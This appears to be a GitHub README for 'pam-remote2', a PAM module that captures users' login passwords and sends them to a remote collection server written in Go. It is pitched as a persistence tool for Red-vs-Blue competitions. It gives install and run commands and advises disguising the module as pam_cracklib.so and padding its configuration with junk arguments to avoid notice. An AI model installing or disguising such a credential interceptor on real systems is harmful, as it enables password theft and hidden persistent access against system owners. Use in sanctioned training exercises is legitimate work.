pam-remote2

👨‍💻Intercept and upload PAM authentication credentials

APACHE-2.0 License

Stars
6

pam-remote2

A PAM module to intercept authentication requests and send the authentication token (usually a password) to a remote server. Useful for RvB competitions as initial persistence.

Note: An HTTP server feature has been added using Go and SQLite3

Installation

For Debian-based distros, libpam0g-dev must be installed to compile this module.

# the following will compile and install the module to `/usr/lib/x86_64-linux-gnu/security/`
$ ./install.sh

In order to run the server, Go must be installed.

$ cd server
$ go run server.go

Tips

  • Make sure to configure the correct networking interface, server hostname, and server port before compiling
  • Install the module under a different name, something like pam_cracklib.so
  • The module ignores all arguments, so put as much garbage as you want!